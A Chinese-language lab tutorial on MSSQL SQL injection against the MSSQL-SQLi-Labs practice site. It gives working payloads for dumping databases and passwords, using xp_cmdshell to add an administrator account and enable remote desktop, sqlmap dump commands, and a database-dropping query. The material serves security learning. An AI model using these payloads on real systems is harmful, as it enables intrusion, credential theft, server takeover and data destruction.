【SQL注入】之MSSQL注入


(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)

 

該筆記參考網絡中的文章,本文僅為了學習交流,嚴禁非法使用!!!

 

一、MSSQL手工注入

  • 測試使用Windows Server 2008 R2 中使用IIS搭建的MSSQL-SQLi-Labs站點的第一關(該站點可在Github中找到)

攻擊者:Windows 10系統(宿主機

靶機:Windows Server 2008 R2(虛擬機)

1.判斷注入點:

http://IP:PORT/less-1.asp?id='
  • 根據回顯可知數據類型為字符型

http://IP:PORT/less-1.asp?id=1'--
  • 正常執行

2.判斷數據庫類型

1 select * from sysobjects
2     sysobjects:MSSQL數據庫特有的數據表,系統對象表,保存當前數據庫的對象
3 select * from users where id=1 and exists(select * from sysobjects)
4     Exists():子語句查詢,Exists方法返回一個布爾值,該布爾值指示在 Dictionary 對象中是否存在指定的 key,如果存在,返回 true,否則返回 false

 

http://IP:PORT/less-1.asp?id=5' and exists(select * from sysobjects)--

  • 正常執行,說明后台數據庫是MSSQL
  • 其他方法判斷數據庫:常用框架組合方法ASP+MSSQL、頁面報錯信息

3.注入點權限的判斷(根據頁面顯示效果)

1 select is_srvrolemember('sysadmin');  判斷當前是否為sa
2 select is_srvrolemember('db_owner');  判斷當前用戶寫文件、讀文件的權限(db_owner)
3 select is_srvrolemember('public');  判斷是否有public權限,可以爆破表
  • 以上正確執行后返回值都為1
  • 判斷當前是否為sa
1 http://IP:PORT/less-1.asp?id=5' and exists(select is_srvrolemember('sysadmin'))--
2 或http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('sysadmin'))>0--

  • 判斷當前用戶寫文件、讀文件的權限
http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('db_owner'))>0--

4.信息收集

  • 查看當前數據庫
1 select db_name(N)  表示當前數據庫,其中的參數表示第N個數據庫,從0開始
2 http://IP:PORT/less-1.asp?id=5' and (select db_name())>0--
3 或http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name()))>0--
4     convert轉換,將db_name()的數據類型轉換為int型

  • 查看所有數據庫
    • 方法1:
http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name(N)))>0--//變換N的值就可以爆出所有數據庫的名稱
    • 方法2:
1 SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');
2     Master系統數據庫
3     SELECT top 1 Name FROM Master..SysDatabases  在系統數據庫中能夠查詢所有的數據庫
4     where name not in ('master','aspcms')  表示查詢的結果不在括號中的集合里
5 http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases)>0--

http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0-- 可依次添加每次爆出的數據就可以報錯所有數據庫

  • 查看數據庫版本
1 select @@version
2 http://IP:PORT/less-1.asp?id=5' and (select @@version)>0--
3 或http://IP:PORT/less-1.asp?id=5' and (select @@version)=1--

  • 查看當前用戶
1 user
2 http://IP:PORT/less-1.asp?id=5' and (user)>0--
  • 這里的用戶dbo就等於databaseown,即sa用戶

5.當前數據庫中的表

1 select top 1 name from 當前數據庫.sys.all_objects where type='U' AND is_ms_shipped=0
2 select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0  獲取第一個表名
3 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0)>0--

1 select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails','uagents')
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails'))>0--

6.獲取指定表中的字段名

1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users'
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users')>0--

1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username')
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username'))>0--

7.獲取字段數據

1 select top 1 username from users
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 username from users)>0--

http://IP:PORT/less-1.asp?id=5' and (select top 1 password from users)>0--

8.解密數據,登錄后台

 

二、使用MSSQL的xp_cmdshell擴展

xp_cmdshell 擴展:存儲過程將命令字符串作為操作系統命令 shell 執行,並以文本行的形式返回所有輸出

1.判斷當前MSSQL數據庫有沒有xp_cmdshell擴展,返回值為1,表示有擴展

select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'

2.測試是否可執行系統命令

1 exec master..xp_cmdshell 'net user'
2 exec master.dbo.xp_cmdshell 'net user'
3     exec表示要執行系統命令

  • 上圖顯示的錯誤解決方法:
    • 執行以下語句
1 EXEC sp_configure 'show advanced options', 1;
2 RECONFIGURE;
3 EXEC sp_configure 'xp_cmdshell', 1;
4 RECONFIGURE;
    • 代碼功能:

EXEC sp_configure 'show advanced options' , 1

  sp_configure 是修改系統配置的存儲過程,當設置 show advanced options 參數為 1 時,才允許修改系統配置中的某些高級選相!!系統中這些高級選項默認是不允許修改的!('xp_cmdshell' 是高級選項參數之一! )

RECONFIGURE

  提交第一步操作並更新使用 sp_configure 系統存儲過程更改的配置選項的當前配置

EXEC sp_configure 'xp_cmdshell' ,1

  執行系統存儲過程 修改 高級選項 參數'xp_cmdshell' 等於1,這個參數等於1 表示允許sqlserver 調用數據庫之外的操作系統命令

RECONFIGURE

  提交更新第三步的操作

  • 代碼成功執行

 

三、利用MSSQL的xp_cmdshell擴展獲取服務器權限

1.判斷當前MSSQL數據庫有沒有xp_cmdshell擴展

1 http://IP:PORT/less-1.asp?id=5' and (select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')>0--

2.利用xp_cmdshell擴展執行系統命令

1 exec master..xp_cmdshell 'net user'  exec需要獨立使用,利用堆疊注入
2 http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user'--
  • 命令執行之后在瀏覽器中是沒有正常回顯的,這里只要沒有報錯,就說明命令執行成功,如果想看到執行命令之后的結果,需要創建一個臨時表,將執行結果寫入,最后再讀

3.創建一個新用戶kiko

http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user kiko 密碼 /add'--

  • 進入靶機系統中,查看創建用戶是否成功

4.將用戶kiko添加到管理員組中

http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net localgroup administrators kiko /add'--

  • 進入靶機中,命令執行成功

5.開啟靶機3389端口

http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f'--

6.啟動遠程桌面連接,過程如下:

  • 連接成功!

 

四、使用SQLMAP對MSSQL注入漏洞進行利用

  • 測試使用MSSQL-SQLi-Labs站點的第二關

1.檢測注入點

1 sqlmap.py -u "http://IP:PORT/less-2.asp?id=1"
2   --drop-set-cookie 忽略響應的Set – Cookie頭信息

  • 翻譯:

you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDACCBASBD=DONJPCHBLHK...DHGDOIMHLL'). Do you want to use those [Y/n] y

您尚未聲明cookie,而服務器希望設置自己的cookie('aspsessionidaccbasbd=donjpchblhk…dhgdoimhl')。你想用那些嗎

are you sure that you want to continue with further target testing? [Y/n] y

是否確實要繼續進行進一步的目標測試?[是/否]是

it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y

看起來后端DBMS是“Microsoft SQL Server”。是否要跳過特定於其他dbms的測試有效負載?[是/否]是

for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] y

對於其余的測試,是否要包括對擴展提供的級別(1)和風險(1)值的“Microsoft SQL Server”的所有測試[是/否]是

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

獲取參數“id”易受攻擊。你想繼續測試其他的(如果有的話)嗎?[是/否]是

2.獲取數據庫所有信息

sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump  將數據庫里所有的數據全部顯示

  • 翻譯:

[00:27:45] [WARNING] in case of table dumping problems (e.g. column entry order) you are advised to rerun with '--force-pivoting'

[00:27:45][WARNING]如果出現表轉儲問題(例如列輸入順序),建議您使用“--force pivoting”重新運行

  • 根據回顯得知出現表轉儲問題,所以數據表users中顯示數據為空

  • 根據提示在命令后加入--force pivoting
sqlmap.py -u "http://IP:PORT/less-2.asp?id=1" --dbms mssql --dump --force-pivoting

 

五、利用SQLMAP進行內聯注入

1.內聯注入:向查詢注入一些SQL代碼后,原來的查詢仍然會全部執行

1 select id from (select 1 as id)a;
2 select * from T1,T3 where T1.userid=T3.userid

2.利用過程:

  • 使用SQLMAP進行注入點檢測時,結果顯示可以使用內聯注入(inline query),並給了Payload

  • 利用所給Payload進行注入
http://IP:PORT/less-2.asp?id=(select char(113)+char(113)+char(112)+char(112)+char(113)+(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113))

  • 在MSSQL中執行該Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113)

  • 在MySQL中執行該Payload
select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113);

select * from dvwa.users where user_id=1 and (select char(113)+char(113)+char(112)+char(112)+char(113) +(select (case when (6066=6066) then char(49) else char(48) end)) +char(113)+char(107)+char(107)+char(98)+char(113));

 

六、利用SQLMAP進行堆疊注入

1.堆疊注入:將一堆SQL語句疊加在一起執行,使用分號結束上一個語句再疊加其他語句一起執行

select * from news;select 1,2,3,4,user(),version();

2.利用過程:

  • 使用SQLMAP進行注入點檢測時,結果顯示可以使用堆疊注入(stacked queries),並給了Payload

  • 利用所給Payload進行注入
http://IP:PORT/less-2.asp?id=1 WAITFOR DELAY '0:0:5'

  • 慎用如下所示命令
http://IP:PORT/less-2.asp?id=1;drop database 數據庫名   刪除數據庫

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM